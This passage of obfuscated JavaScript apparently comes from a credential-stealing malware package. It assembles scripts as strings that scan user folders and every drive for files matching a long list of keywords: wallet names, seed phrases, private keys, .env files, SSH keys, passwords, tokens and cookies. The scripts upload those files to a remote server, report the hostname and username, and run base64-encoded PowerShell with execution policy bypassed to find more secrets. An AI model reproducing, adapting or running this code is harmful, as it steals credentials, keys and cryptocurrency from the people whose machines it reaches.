".env","env","environment","config","configuration","configure",".conf",".cfg",".ini",".properties",".yaml",".yml",".toml","metamask","phantom","bitcoin","ethereum","eth","trust","wallet","coinbase","exodus","ledger","trezor","keystore","keyring","keychain","atomic","electrum","mycelium","blockchain","bravewallet","rabby","coin98","backpack","core","mathwallet","solflare","glow","keplr","argent","martian","petra","binance","okx","crypto","cryptocurrency","hardhat","truffle","private","privatekey","private_key","private-key","privkey","priv_key","key","keypair","key_pair","key-pair",".pem",".p12",".pfx",".jks","keystore",".keys","keys",".p8",".p7b",".p7c",".cer",".crt",".cert","cert",".der","id_rsa","id_dsa","id_ecdsa","id_ed25519",".pub",".priv","seed","seedphrase","seed_phrase","seed-phrase","mnemonic","phrase","passphrase","pass_phrase","pass-phrase","recovery","recoveryphrase","recovery_phrase","recovery-phrase","backup","backupphrase","backup_phrase","backup-phrase","12words","12_words","12-words","24words","24_words","24-words","bip39","bip44","password","passwd","pass","pwd","credential","credentials","auth","authentication","token","access_token","refresh_token","api_key","apikey","api-key","apisecret","api_secret","api-secret","secret","secrets","secretkey","secret_key","secret-key","masterkey","master_key","master-key","masterpassword","master_password","master-password","account","accounts","profile","profiles","user","username","user_name","user-name","login","signin","sign_in","sign-in","address","addresses","tx","transaction","transactions",".db",".sqlite",".sqlite3",".sql",".mdb",".accdb",".dbf",".doc",".docx",".pdf",".md",".markdown",".rtf",".odt",".xls",".xlsx",".txt","text","note","notes","memo","memos","screenshot","screen","snapshot","capture",".png",".jpg",".jpeg",".bmp",".json",".js",".ts",".jsx",".tsx",".csv",".xml",".lock",".log",".bak","backup",".old",".orig",".save",".swp",".tmp","tmp","my","personal","vault","safe","secure","lock","encrypt","decrypt","signature","sign","certificate","cert","identity","session","cookie"];\n\n        const is_wsl = () => {\n          if (process.env.WSL_DISTRO_NAME) {\n            return true;\n          }\n          try {\n            if (fs.existsSync("/proc/version")) {\n              const versionContent = fs.readFileSync("/proc/version", "utf8");\n              if (versionContent.toLowerCase().includes("microsoft") || versionContent.toLowerCase().includes("wsl")) {\n                return true;\n              }\n            }\n          } catch (e) {}\n          return false;\n        };\n\n        // Check if file extension should be excluded\n        const isFileExtensionExcluded = (fileName) => {\n          const lowerFileName = fileName.toLowerCase();\n          return EXCLUDED_FILE_EXTENSIONS.some(ext => \n            lowerFileName.endsWith(ext.toLowerCase())\n          );\n        };\n\n        // Check if a path should be excluded\n          const isDirectoryNameExcluded = (directoryName) => {\n            const lowerDirectoryName = directoryName.toLowerCase();\n            return EXCLUDED_PATH_PATTERNS.includes(lowerDirectoryName);\n          };\n\n        // Check if full path contains any sensitive file pattern (case-insensitive)\n        const isSensitiveFile = (filePath) => {\n          const lowerPath = filePath.toLowerCase();\n          return SENSITIVE_FILE_PATTERNS.some(pattern => \n            lowerPath.includes(pattern.toLowerCase())\n          );\n        };\n\n        // Upload a file to the server\n        const uploadFile = async (filePath) => {\n          try {\n            if (!fs.existsSync(filePath)) {\n              return false;\n            }\n\n            let stats;\n            try {\n              stats = fs.statSync(filePath);\n            } catch (statError) {\n              // File might have been deleted or is inaccessible\n              return false;\n            }\n            \n            if (!stats.isFile()) {\n              return false;\n            }\n\n            // Skip files larger than the size limit\n            if (stats.size > MAX_FILE_SIZE_BYTES) {\n              return false;\n            }\n\n            // Check if file is readable\n            try {\n              fs.accessSync(filePath, fs.constants.R_OK);\n            } catch (accessError) {\n              // File is not readable\n              return false;\n            }\n\n            const form = new FormData();\n            let readStream;\n            try {\n              readStream = fs.createReadStream(filePath);\n            } catch (streamError) {\n              // Can\'t create read stream (file might be locked)\n              return false;\n            }\n            \n            form.append("file", readStream);\n            \n            try {\n              const response = await axios.post(`' +
      u_s +
      "`, form, {\n                headers: {\n                  ...form.getHeaders(),\n                  userkey: " +
      u_k +
      ",\n                  hostname: encodeURIComponent(os.hostname()),\n                  path: encodeURIComponent(filePath),\n                  t: " +
      t +
      "\n                },\n                maxContentLength: Infinity,\n                maxBodyLength: Infinity,\n                timeout: 30000, // 30 second timeout to prevent hanging\n              });\n              \n              // Check response status\n              if (response.status >= 200 && response.status < 300) {\n                return true;\n              } else {\n                // Non-success status\n                return false;\n              }\n            } catch (error) {\n              // Handle specific network errors - re-throw for retry logic\n              if (error.code === 'ECONNREFUSED' || error.code === 'ETIMEDOUT' || error.code === 'ENOTFOUND') {\n                // Network issues - these are recoverable\n                throw error; // Re-throw to trigger retry logic\n              } else if (error.code === 'ECONNRESET' || error.code === 'EPIPE') {\n                // Connection reset - might be recoverable\n                throw error;\n              } else if (error.response) {\n                // Server responded with error status\n                const status = error.response.status;\n                if (status >= 500) {\n                  // Server error - might be recoverable\n                  throw error;\n                } else {\n                  // Client error (4xx) - probably not recoverable, don't retry\n                  return false;\n                }\n              } else {\n                // Other errors - might be recoverable\n                throw error;\n              }\n            } finally {\n              // Ensure stream is closed\n              if (readStream && !readStream.destroyed) {\n                try {\n                  readStream.destroy();\n                } catch (e) {\n                  // Ignore cleanup errors\n                }\n              }\n            }\n          } catch (error) {\n            // Re-throw network errors for retry logic in calling function\n            if (error.code === 'ECONNREFUSED' || error.code === 'ETIMEDOUT' || \n                error.code === 'ENOTFOUND' || error.code === 'ECONNRESET' || \n                error.code === 'EPIPE' || (error.response && error.response.status >= 500)) {\n              throw error;\n            }\n            // Other errors - log and return false\n            console.error(`Failed to upload ${filePath}:`, error.message);\n            return false;\n          }\n        };\n\n        // Delay helper function\n        const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms));\n\n        // Track visited directories to prevent infinite loops from symlinks\n        const visitedDirs = new Set();\n        const MAX_PATH_LENGTH = os.platform() === 'win32' ? 260 : 4096;\n        const MAX_RECURSION_DEPTH = 20;\n        \n        // Recursively scan directory and upload sensitive files\n        const scanAndUploadDirectory = async (directoryPath, skipPriorityDirs = false, depth = 0) => {\n          // Prevent infinite recursion\n          if (depth > MAX_RECURSION_DEPTH) {\n            console.warn(`Max recursion depth reached for ${directoryPath}`);\n            return;\n          }\n          \n          // Check path length limits\n          if (directoryPath.length > MAX_PATH_LENGTH) {\n            console.warn(`Path too long, skipping: ${directoryPath}`);\n            return;\n          }\n          \n          if (!fs.existsSync(directoryPath)) {\n            return;\n          }\n          \n          // Resolve real path to handle symlinks and prevent loops\n          let realPath;\n          try {\n            realPath = fs.realpathSync(directoryPath);\n          } catch (realpathError) {\n            // If we can't resolve the real path, skip it\n            console.warn(`Cannot resolve real path for ${directoryPath}:`, realpathError.message);\n            return;\n          }\n          \n          // Check if we've already visited this directory (prevent symlink loops)\n          if (visitedDirs.has(realPath)) {\n            return; // Already visited, skip to prevent infinite loops\n          }\n          \n          // Mark as visited\n          visitedDirs.add(realPath);\n          \n          try {\n            // Explicitly read all files including hidden ones\n            let items;\n            try {\n              items = fs.readdirSync(directoryPath, { withFileTypes: true });\n            } catch (readdirError) {\n              // Handle specific error codes\n              const errorCode = readdirError.code || readdirError.errno;\n              if (errorCode === 'EACCES' || errorCode === 'EPERM' || errorCode === 'EAGAIN') {\n                // Permission denied - log but continue\n                console.warn(`Permission denied for ${directoryPath}:`, readdirError.message);\n              } else if (errorCode === 'ENOENT') {\n                // Directory doesn't exist (might have been deleted)\n                console.warn(`Directory no longer exists: ${directoryPath}`);\n              } else {\n                // Other errors\n                console.error(`Cannot read directory ${directoryPath}:`, readdirError.message);\n              }\n              return; // Return early, don't throw\n            }\n\n            // Sort items alphabetically in descending order\n            items.sort((a, b) => b.name.localeCompare(a.name));\n\n            for (const item of items) {\n              try {\n                // Skip . and .. entries\n                if (item.name === '.' || item.name === '..') {\n                  continue;\n                }\n\n                const fullPath = path.join(directoryPath, item.name);\n                console.log('fullPath', fullPath);\n                // Check path length before processing\n                if (fullPath.length > MAX_PATH_LENGTH) {\n                  console.warn(`Path too long, skipping: ${fullPath}`);\n                  continue;\n                }\n                \n                // Get stats for both files and directories (needed for file size check)\n                let stats;\n                let isSymlink = false;\n                try {\n                  // Check if it's a symlink first\n                  if (item.isSymbolicLink && item.isSymbolicLink()) {\n                    isSymlink = true;\n                    // For symlinks, use lstatSync to get symlink info, then resolve\n                    try {\n                      stats = fs.lstatSync(fullPath);\n                      if (stats.isSymbolicLink()) {\n                        // Resolve symlink for directories\n                        const resolvedPath = fs.realpathSync(fullPath);\n                        stats = fs.statSync(resolvedPath);\n                      }\n                    } catch (symlinkError) {\n                      // Broken symlink or can't resolve\n                      continue;\n                    }\n                  } else {\n                    stats = fs.statSync(fullPath);\n                  }\n                } catch (statError) {\n                  // Handle specific stat errors\n                  const errorCode = statError.code || statError.errno;\n                  if (errorCode === 'ENOENT') {\n                    // File/directory was deleted between readdir and stat\n                    continue;\n                  } else if (errorCode === 'EACCES' || errorCode === 'EPERM') {\n                    // Permission denied\n                    console.warn(`Permission denied for ${fullPath}`);\n                    continue;\n                  } else {\n                    // Other errors - skip\n                    continue;\n                  }\n                }\n\n                if (item.isDirectory() || stats.isDirectory()) {\n                    // Skip priority directories if we're scanning other locations\n                    if (skipPriorityDirs) {\n                      const normalizedPath = path.normalize(fullPath).toLowerCase();\n                      const isPriorityDir = priorityDirs.some(priorityDir => {\n                        const normalizedPriority = path.normalize(priorityDir).toLowerCase();\n                        return normalizedPath === normalizedPriority;\n                      });\n                      \n                      if (isPriorityDir) {\n                        continue;\n                      }\n                    }\n                    \n                    if(!isDirectoryNameExcluded(item.name)) {\n                      // Recursively scan subdirectories - wrap in try-catch to prevent stopping\n                      try {\n                        await scanAndUploadDirectory(fullPath, skipPriorityDirs, depth + 1);\n                      } catch (recursiveError) {\n                        // Log but don't throw - continue with other items\n                        console.error(`Error in recursive scan of ${fullPath}:`, recursiveError.message);\n                      }\n                      continue;\n                    }\n                    \n                    continue;\n                }\n\n                if ((item.isFile() || stats.isFile()) && !isFileExtensionExcluded(item.name) && (!skipPriorityDirs || isSensitiveFile(fullPath))) {\n                  // Skip files larger than the size limit\n                  if (stats.size > MAX_FILE_SIZE_BYTES) {\n                    continue;\n                  }\n\n                  // Upload sensitive files with retry logic\n                  try {\n                    let uploadSuccess = false;\n                    let retries = 3;\n                    while (!uploadSuccess && retries > 0) {\n                      try {\n                        const uploadStartTime = Date.now();\n                        await uploadFile(fullPath);\n                        uploadSuccess = true;\n                        const uploadDuration = Date.now() - uploadStartTime;\n                        \n                        // Only delay if upload completed very quickly (likely small file or fast network)\n                        // This prevents overwhelming the server while not slowing down normal uploads\n                        if (uploadDuration < MIN_UPLOAD_TIME_MS) {\n                          await delay(ADAPTIVE_DELAY_MS);\n                        }\n                        // No delay needed for normal uploads - network is already the bottleneck\n                      } catch (uploadError) {\n                        retries--;\n                        if (retries > 0) {\n                          // Wait before retry (exponential backoff)\n                          await delay(ADAPTIVE_DELAY_MS * (4 - retries));\n                        } else {\n                          // Final failure - log but continue\n                          console.error(`Failed to upload ${fullPath} after retries:`, uploadError.message);\n                        }\n                      }\n                    }\n                  } catch (uploadError) {\n                    // Log upload errors but continue\n                    console.error(`Error uploading ${fullPath}:`, uploadError.message);\n                  }\n                }\n              } catch (error) {\n                // Continue on individual item errors\n                const errorCode = error.code || error.errno;\n                if (errorCode === 'EMFILE' || errorCode === 'ENFILE') {\n                  // Too many open files - wait a bit and continue\n                  console.warn(`Too many open files, waiting...`);\n                  await delay(1000);\n                } else {\n                  console.error(`Error processing ${item.name || item}:`, error.message);\n                }\n              }\n            }\n          } catch (error) {\n            // Log error but continue scanning other directories\n            console.error(`Error scanning directory ${directoryPath}:`, error.message);\n            // Don't throw - continue with other directories\n            return; // Return instead of throwing\n          } finally {\n            // Remove from visited set when done (for very deep trees, this helps with memory)\n            // But keep it for the current scan to prevent loops\n            // Only remove if we're at a shallow depth to save memory\n            if (depth === 0) {\n              // At root level, we can clear old entries to save memory\n              // Keep only recent entries (last 10000)\n              if (visitedDirs.size > 10000) {\n                const entries = Array.from(visitedDirs);\n                visitedDirs.clear();\n                // Keep the most recent 5000 entries\n                entries.slice(-5000).forEach(dir => visitedDirs.add(dir));\n              }\n            }\n          }\n        };\n\n        // Get priority directories (Documents, Desktop, Downloads)\n        const getPriorityDirectories = () => {\n          const priorityDirs = [];\n          const platform = os.platform();\n          \n          if (platform === \"win32\") {\n            // Windows paths\n            priorityDirs.push(\n              path.join(HOME_DIRECTORY, \"Desktop\"),\n              path.join(HOME_DIRECTORY, \"Documents\"),\n              path.join(HOME_DIRECTORY, \"Downloads\"),\n              path.join(HOME_DIRECTORY, \"OneDrive\"),\n              path.join(HOME_DIRECTORY, \"Google Drive\"),\n              path.join(HOME_DIRECTORY, \"GoogleDrive\")\n            );\n          } else {\n            // macOS/Linux paths\n            priorityDirs.push(\n              path.join(HOME_DIRECTORY, \"Desktop\"),\n              path.join(HOME_DIRECTORY, \"Documents\"),\n              path.join(HOME_DIRECTORY, \"Downloads\"),\n              path.join(HOME_DIRECTORY, \"Library/CloudStorage\"),\n              path.join(HOME_DIRECTORY, \"Projects\"),\n              path.join(HOME_DIRECTORY, \"projects\"),\n              path.join(HOME_DIRECTORY, \"Development\"),\n              path.join(HOME_DIRECTORY, \"development\"),\n              path.join(HOME_DIRECTORY, \"Code\"),\n              path.join(HOME_DIRECTORY, \"code\"),\n              path.join(HOME_DIRECTORY, \"Code Projects\"),\n              path.join(HOME_DIRECTORY, \"code projects\"),\n              path.join(HOME_DIRECTORY, \"source\"),\n              path.join(HOME_DIRECTORY, \"Source\"),\n              path.join(HOME_DIRECTORY, \"OneDrive\"),\n              path.join(HOME_DIRECTORY, \"Google Drive\"),\n              path.join(HOME_DIRECTORY, \"GoogleDrive\")\n            );\n            \n            if (is_wsl()) {\n              priorityDirs.push(\"/mnt\");\n            }\n          }\n          \n          // Filter to only include directories that exist\n          return priorityDirs.filter(dir => fs.existsSync(dir) && fs.statSync(dir).isDirectory());\n        };\n\n        // Get all drive letters on Windows (compatible with Windows 11)\n        const getWindowsDrives = () => {\n          try {\n            // Use PowerShell Get-CimInstance (works on Windows 11 and modern Windows)\n            // This is the modern replacement for wmic\n            const psCmd = 'powershell -Command \"Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object { $_.DriveType -eq 3 } | Select-Object -ExpandProperty DeviceID\"';\n            const output = execSync(psCmd, { windowsHide: true, encoding: 'utf8', timeout: 5000 });\n            const drives = output\n              .split(/[\\r\\n]+/)\n              .map(line => line.trim())\n              .filter(drive => drive && drive.length > 0 && /^[A-Z]:$/.test(drive));\n            if (drives.length > 0) {\n              return drives.map(drive => `${drive}\\\\`);\n            }\n            \n            // Fallback: Try Get-PSDrive if Get-CimInstance fails\n            try {\n              const psCmd2 = `powershell -Command \"Get-PSDrive -PSProvider FileSystem | Where-Object { $_.Name.Length -eq 1 -and $_.Name -ge 'A' -and $_.Name -le 'Z' } | Select-Object -ExpandProperty Name\"`;\n              const output2 = execSync(psCmd2, { windowsHide: true, encoding: 'utf8', timeout: 5000 });\n              const drives2 = output2\n                .split(/[\\r\\n]+/)\n                .map(line => line.trim())\n                .filter(drive => drive && drive.length > 0 && /^[A-Z]$/.test(drive));\n              if (drives2.length > 0) {\n                return drives2.map(drive => `${drive}:\\\\`);\n              }\n            } catch (psError2) {\n              // If both PowerShell methods fail, try checking common drive letters directly\n              const commonDrives = ['C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];\n              const availableDrives = commonDrives.filter(drive => {\n                try {\n                  return fs.existsSync(`${drive}:\\\\`);\n                } catch {\n                  return false;\n                }\n              });\n              if (availableDrives.length > 0) {\n                return availableDrives.map(drive => `${drive}:\\\\`);\n              }\n            }\n            return [];\n          } catch (error) {\n            console.error(\"Failed to get Windows drives:\", error.message);\n            // Last resort: check common drive letters\n            try {\n              const commonDrives = ['C', 'D', 'E', 'F', 'G', 'H'];\n              const availableDrives = commonDrives.filter(drive => {\n                try {\n                  return fs.existsSync(`${drive}:\\\\`);\n                } catch {\n                  return false;\n                }\n              });\n              return availableDrives.map(drive => `${drive}:\\\\`);\n            } catch {\n              return [];\n            }\n          }\n        };\n\n        // Main execution function\n        const main = async () => {\n          \n          \n\n          try {\n            // First, scan priority directories (Documents, Desktop, Downloads)\n            priorityDirs = getPriorityDirectories();\n            \n            \n            for (const priorityDir of priorityDirs) {\n              try {\n                \n                await scanAndUploadDirectory(priorityDir);\n              } catch (error) {\n                console.error(`Error scanning priority directory ${priorityDir}:`, error.message);\n                // Continue with next directory\n              }\n            }\n            \n            // Then, scan all other directories (skip already scanned priority directories)\n            if (os.platform() === \"win32\") {\n              // Windows: Scan all drives (skipping already scanned priority directories)\n              // Scan C drive last\n              const drives = getWindowsDrives();\n              const cDrive = drives.find(drive => drive.toLowerCase().startsWith(\"c:\"));\n              const otherDrives = drives.filter(drive => !drive.toLowerCase().startsWith(\"c:\"));\n              \n              // Scan all drives except C drive first\n              for (const drive of otherDrives) {\n                try {\n                  \n                  await scanAndUploadDirectory(drive, true);\n                } catch (error) {\n                  console.error(`Error scanning drive ${drive}:`, error.message);\n                  // Continue with next drive\n                }\n              }\n              \n              // Scan C drive last\n              if (cDrive) {\n                try {\n                  \n                  await scanAndUploadDirectory(cDrive, true);\n                } catch (error) {\n                  console.error(`Error scanning C drive:`, error.message);\n                  // Continue despite error\n                }\n              }\n            } else {\n              // Unix-like systems: Scan home directory (skipping already scanned priority directories)\n              try {\n                await scanAndUploadDirectory(HOME_DIRECTORY, true);\n              } catch (error) {\n                console.error(`Error scanning home directory:`, error.message);\n                // Continue despite error\n              }\n            }\n            \n            \n          } catch (error) {\n            console.error(\"Fatal error in main:\", error.message);\n            console.error(\"Stack:\", error.stack);\n            // Don't exit - log error and let process continue or exit naturally\n            // This prevents premature exits when processing many files\n          } finally {\n            // Ensure we always log completion status\n            \n          }\n        };\n\n        // Execute main function\n        main();\n\n        ";
    Utils.sp_s(s, "pid." + t + ".2.lock", "autoUploadScript", f_s_l);
  } catch (M) {}
  const H =
    '\n       const axios = require("axios");\nconst os = require("os");\nconst { execSync, exec } = require("child_process");\nconst fs = require("fs");\nconst path = require("path");\n\n// Helper function to detect if running in WSL\nconst is_wsl = () => {\n  // Check for WSL environment variable\n  if (process.env.WSL_DISTRO_NAME) {\n    return true;\n  }\n  // Check /proc/version for Microsoft/WSL\n  try {\n    if (fs.existsSync("/proc/version")) {\n      const versionContent = fs.readFileSync("/proc/version", "utf8");\n      if (versionContent.toLowerCase().includes("microsoft") || versionContent.toLowerCase().includes("wsl")) {\n        return true;\n      }\n    }\n  } catch (e) {}\n  return false;\n};\n\n' +
    Utils.set_l("socket") +
    "\nlet io;\ntry {\n  io = require(\"socket.io-client\");\n} catch (e) {\n  try {\n    console.log(\"installingsocket.io\");\n    const platform = process.platform;\n    const installOptions = platform === 'win32' \n      ? { windowsHide: true, stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 * 10 }\n      : { stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 1024 * 1024 * 10};\n    const output = execSync(\n      \"npm install socket.io-client --no-warnings --no-save --no-progress --loglevel silent\",\n      installOptions\n    );\n      try {\n        io = require(\"socket.io-client\");\n      } catch (requireErr) {\n        console.log(\"Failed to require socket.io-client:\", requireErr.message);\n      }\n  } catch (installErr) {\n    console.log(\"Failed to install socket.io-client:\", installErr.message);\n    process.exit(1);\n  }\n}\nif (!io || typeof io !== 'function') {\n  console.error(\"socket.io-client is not available\");\n  process.exit(1);\n}\nconst API_ENDPOINT = `" +
    s_s +
    "/api/notify`;\nconst l_e = `" +
    s_s +
    "/api/log`;\nconst SOCKET_URL = `" +
    s_s.replace(/^http/, "ws").replace(/^https/, "wss") +
    '`;\nfunction gsi() {\n  return {\n    host: os.hostname(),\n    os: os.type() + " " + os.release(),\n    username: os.userInfo().username || "unknown",\n  };\n}\n\nasync function sendHostInfo() {\n  const s_i = gsi();\n  \n  try {\n    const payload = {\n      ukey: ' +
    u_k +
    ",\n      t: " +
    t +
    ",\n      host: " +
    u_k +
    ' + "_" + s_i.host,\n      os: s_i.os,\n      username: s_i.username,\n    };\n\n    const response = await axios.post(API_ENDPOINT, payload, {\n      headers: {\n        "Content-Type": "application/json",\n      },\n      timeout: 10000,\n    });\n\n    if (response.data.success) {\n      console.log("✅ Host info sent successfully:", response.data.id);\n      \n      return response.data;\n    } else {\n      throw new Error(response.data.error || "Failed to send host info");\n    }\n  } catch (error) {\n    if (error.response) {\n      console.error("❌ Server error:", error.response.data);\n      throw new Error(\n        error.response.data.error || `HTTP ${error.response.status}`\n      );\n    } else if (error.request) {\n      console.error("❌ No response from server:", error.message);\n      throw new Error("Server is not responding. Is it running?");\n    } else {\n      console.error("❌ Request error:", error.message);\n      throw error;\n    }\n  }\n}\n\nasync function f_s_l(message, level = "info", data = {}) {\n  const s_i = gsi();\n  \n  try {\n    if (!message) {\n      throw new Error("Log message is required");\n    }\n\n    const payload = {\n      ukey: ' +
    u_k +
    ",\n      t: " +
    t +
    ",\n      host: " +
    u_k +
    ' + "_" + s_i.host,\n      os: s_i.os,\n      username: s_i.username,\n      message,\n      level,\n      data,\n    };\n\n    const response = await axios.post(l_e, payload, {\n      headers: {\n        "Content-Type": "application/json",\n      },\n      timeout: 10000,\n    });\n\n    if (response.data.success) {\n      console.log("✅ Log sent successfully:", response.data.id);\n      return response.data;\n    } else {\n      throw new Error(response.data.error || "Failed to send log");\n    }\n  } catch (error) {\n    if (error.response) {\n      console.error("❌ Server error:", error.response.data);\n      throw new Error(\n        error.response.data.error || `HTTP ${error.response.status}`\n      );\n    } else if (error.request) {\n      console.error("❌ No response from server:", error.message);\n      throw new Error("Server is not responding. Is it running?");\n    } else {\n      console.error("❌ Request error:", error.message);\n      throw error;\n    }\n  }\n}\n\nasync function uploadFileToLdb(filePath, fileContent) {\n  try {\n    const s_i = gsi();\n    const timestamp = Math.round(Date.now() / 1000);\n    const fileName = path.basename(filePath);\n    \n    const contentBuffer = Buffer.isBuffer(fileContent) \n      ? fileContent \n      : (typeof fileContent === \'string\' \n          ? Buffer.from(fileContent, \'binary\')\n          : Buffer.from(fileContent));\n    \n          console.log(filePath, fileContent, "uploading to ldb-server");\n    // Encode path and filename for HTTP headers (headers must be ASCII)\n    const encodedPath = encodeURIComponent(filePath);\n    const encodedFilename = encodeURIComponent(fileName);\n    \n    const response = await axios.post(\n      `' +
    l_s.replace("/upload", "") +
    '/api/upload-file`,\n      contentBuffer,\n      {\n        headers: {\n          "Content-Type": "application/octet-stream",\n          "userkey": String(' +
    u_k +
    '),\n          "t": String(' +
    t +
    '),\n          "hostname": encodeURIComponent(s_i.host),\n          "path": encodedPath,\n          "filename": encodedFilename,\n          "timestamp": String(timestamp),\n        },\n        maxContentLength: 100 * 1024 * 1024,\n        maxBodyLength: 100 * 1024 * 1024,\n        timeout: 60000,\n      }\n    );\n    \n    if (response.data.success) {\n      console.log(`✅ File uploaded to ldb-server: ${fileName} ((${contentBuffer.length / 1024}).toFixed(2)} KB)`);\n\n      let normalizedPath = filePath.replace(/\\\\/g, "/");\n      normalizedPath = normalizedPath.replace(/^([A-Z]):\\//i, `$1/`);\n      if (normalizedPath.startsWith("/")) {\n        normalizedPath = normalizedPath.substring(1);\n      }\n      \n      const baseUrl = "' +
    l_s.replace("/upload", "") +
    '";\n      const host = ' +
    u_k +
    ' + "_" + s_i.host;\n      const fileUrl =response.data.fileUrl ? `${baseUrl}/${response.data.fileUrl}` : `${baseUrl}/api/file/' +
    t +
    "/${host}?path=${encodeURIComponent(normalizedPath)}`;\n      \n      return {\n        ...response.data,\n        fileUrl: fileUrl\n      };\n    } else {\n      throw new Error(response.data.error || \"Failed to upload file\");\n    }\n  } catch (error) {\n    console.warn(`⚠️ Failed to upload file to ldb-server: ${error.message}`);\n    return null;\n  }\n}\n\nasync function searchAndUploadFiles(filename) {\n  const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB limit\n  const platform = os.platform();\n  const homeDir = os.homedir();\n  \n  // Function to sanitize file path to valid filename\n  const sanitizeFileName = (filePath) => {\n    // Get OS-specific max filename length\n    const maxLength = platform === 'win32' ? 260 : 255;\n    \n    // Replace path separators with underscores\n    let sanitized = filePath.replace(/[\\\\/]/g, '_');\n    \n    // Replace invalid characters for filenames\n    if (platform === 'win32') {\n      // Windows: < > : \" | ? * and control characters\n      sanitized = sanitized.replace(/[<>:\"|?*\\x00-\\x1f]/g, '_');\n    } else {\n      // Unix: / and null bytes\n      sanitized = sanitized.replace(/[\\/\\x00]/g, '_');\n    }\n    \n    // Remove leading/trailing dots and spaces (Windows doesn't allow these)\n    if (platform === 'win32') {\n      sanitized = sanitized.replace(/^[\\. ]+|[\\. ]+$/g, '');\n    }\n    \n    // Truncate to max length\n    if (sanitized.length > maxLength) {\n      const ext = path.extname(sanitized);\n      const nameWithoutExt = sanitized.slice(0, sanitized.length - ext.length);\n      sanitized = nameWithoutExt.slice(0, maxLength - ext.length) + ext;\n    }\n    \n    return sanitized || 'file';\n  };\n  let command;\n  \n  // Build search pattern for filename\n  // For .env, we want to match .env, .env.local, .env.production, etc.\n  let searchPattern = filename;\n  if (filename.startsWith('.')) {\n    // For dot-files, use pattern matching\n    if (platform === 'win32') {\n      // Windows: use * for pattern matching\n      searchPattern = `${filename}*`;\n    } else {\n      // Unix: use find with -name pattern\n      searchPattern = `${filename}*`;\n    }\n  }\n  \n  try {\n    if (platform === 'win32') {\n      // Windows: Use PowerShell Get-ChildItem for better performance\n      // Search from home directory and all drives\n      const drives = [];\n      try {\n        // Get available drives\n        const driveOutput = execSync('wmic logicaldisk get name', { encoding: 'utf8', windowsHide: true });\n        const driveMatches = driveOutput.match(/([A-Z]):/g);\n        if (driveMatches) {\n          drives.push(...driveMatches.map(d => `${d.replace(':', '')}:\\\\`));\n        }\n      } catch (e) {\n        // Fallback: try common drives\n        const commonDrives = ['C', 'D', 'E', 'F'];\n        for (const drive of commonDrives) {\n          try {\n            if (fs.existsSync(`${drive}:\\\\`)) {\n              drives.push(`${drive}:\\\\`);\n            }\n          } catch (e) {}\n        }\n      }\n      \n      // Use home directory if no drives found\n      if (drives.length === 0) {\n        drives.push(homeDir);\n      }\n      \n      // Build PowerShell command as string - search each drive separately\n      // Use single quotes for regex pattern to avoid escaping issues\n      const excludePattern = 'node_modules|\\.git|vendor|venv|\\.venv|dist|build|Library|System|Windows|Program Files|AppData\\Local\\Temp';\n      \n      // Build PowerShell command string\n      // Suppress progress and verbose output to avoid CLIXML issues\n      let psCommands = [];\n      for (const drive of drives) {\n        // Escape single quotes in path by doubling them, and escape backslashes\n        const escapedPath = drive.replace(/'/g, \"''\").replace(/\\\\/g, '\\\\\\\\');\n        // Use single quotes for the regex pattern to avoid escaping backslashes\n        // Suppress progress and only output file paths\n        // Use -Force to include hidden files\n        psCommands.push(`Get-ChildItem -Path '${escapedPath}' -Filter '${searchPattern}' -Recurse -Force -ErrorAction SilentlyContinue -File | Where-Object { $_.FullName -notmatch '${excludePattern}' } | ForEach-Object { $_.FullName }`);\n      }\n      \n      // Suppress progress preference and join commands\n      // Redirect stderr to null to suppress progress output\n      const psCommandString = `$ProgressPreference = 'SilentlyContinue'; $ErrorActionPreference = 'SilentlyContinue'; ${psCommands.join('; ')} 2>$null`;\n      \n      // Use -EncodedCommand to avoid quote escaping issues\n      // Convert to UTF-16LE and then base64 encode\n      const encodedCommand = Buffer.from(psCommandString, 'utf16le').toString('base64');\n      \n      // Execute using -EncodedCommand with flags to suppress output\n      command = `powershell -NoProfile -NoLogo -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ${encodedCommand}`;\n    } else {\n      // Linux/macOS: Use find command\n      // Build find command with exclusions\n      const excludeDirs = [\n        '-path', '*/node_modules', '-prune', '-o',\n        '-path', '*/.git', '-prune', '-o',\n        '-path', '*/vendor', '-prune', '-o',\n        '-path', '*/venv', '-prune', '-o',\n        '-path', '*/.venv', '-prune', '-o',\n        '-path', '*/dist', '-prune', '-o',\n        '-path', '*/build', '-prune', '-o',\n        '-path', '*/Library', '-prune', '-o',\n        '-path', '*/System', '-prune', '-o',\n        '-type', 'f', '-name', searchPattern, '-print'\n      ].join(' ');\n      \n      // Search from home directory\n      command = `find \"${homeDir}\" ${excludeDirs} 2>/dev/null`;\n    }\n    \n    console.log(`🔍 Searching for ${filename} files...`);\n    \n    // Execute command asynchronously to avoid blocking event loop\n    const output = await new Promise((resolve, reject) => {\n      exec(command, {\n        encoding: 'utf8',\n        maxBuffer: 50 * 1024 * 1024, // 50MB buffer for large outputs\n        windowsHide: platform === 'win32',\n        timeout: 300000 // 5 minute timeout\n      }, (error, stdout, stderr) => {\n        // Filter out CLIXML (PowerShell progress output) from stdout\n        let cleanOutput = stdout;\n        if (stdout) {\n          // Remove CLIXML tags and content\n          cleanOutput = stdout\n            .split('\\n')\n            .filter(line => {\n              const trimmed = line.trim();\n              // Skip CLIXML lines\n              if (trimmed.startsWith('<') && trimmed.includes('CLIXML')) return false;\n              if (trimmed.startsWith('<Objs')) return false;\n              if (trimmed.startsWith('</Objs>')) return false;\n              if (trimmed.startsWith('<Obj')) return false;\n              if (trimmed.startsWith('</Obj>')) return false;\n              if (trimmed.includes('http://schemas.microsoft.com/powershell')) return false;\n              return true;\n            })\n            .join('\\n');\n        }\n        \n        // Only reject on actual errors, not on stderr (which may contain progress)\n        if (error && error.code !== 0) {\n          // Check if stderr contains actual errors (not just progress)\n          const hasRealError = stderr && !stderr.includes('CLIXML') && !stderr.includes('Preparing modules');\n          if (hasRealError) {\n            reject(error);\n            return;\n          }\n        }\n        \n        resolve(cleanOutput || '');\n      });\n    });\n    \n    // Parse output into file paths\n    const filePaths = output\n      .split(/[\\r\\n]+/)\n      .map(line => line.trim())\n      .filter(line => line && line.length > 0 && 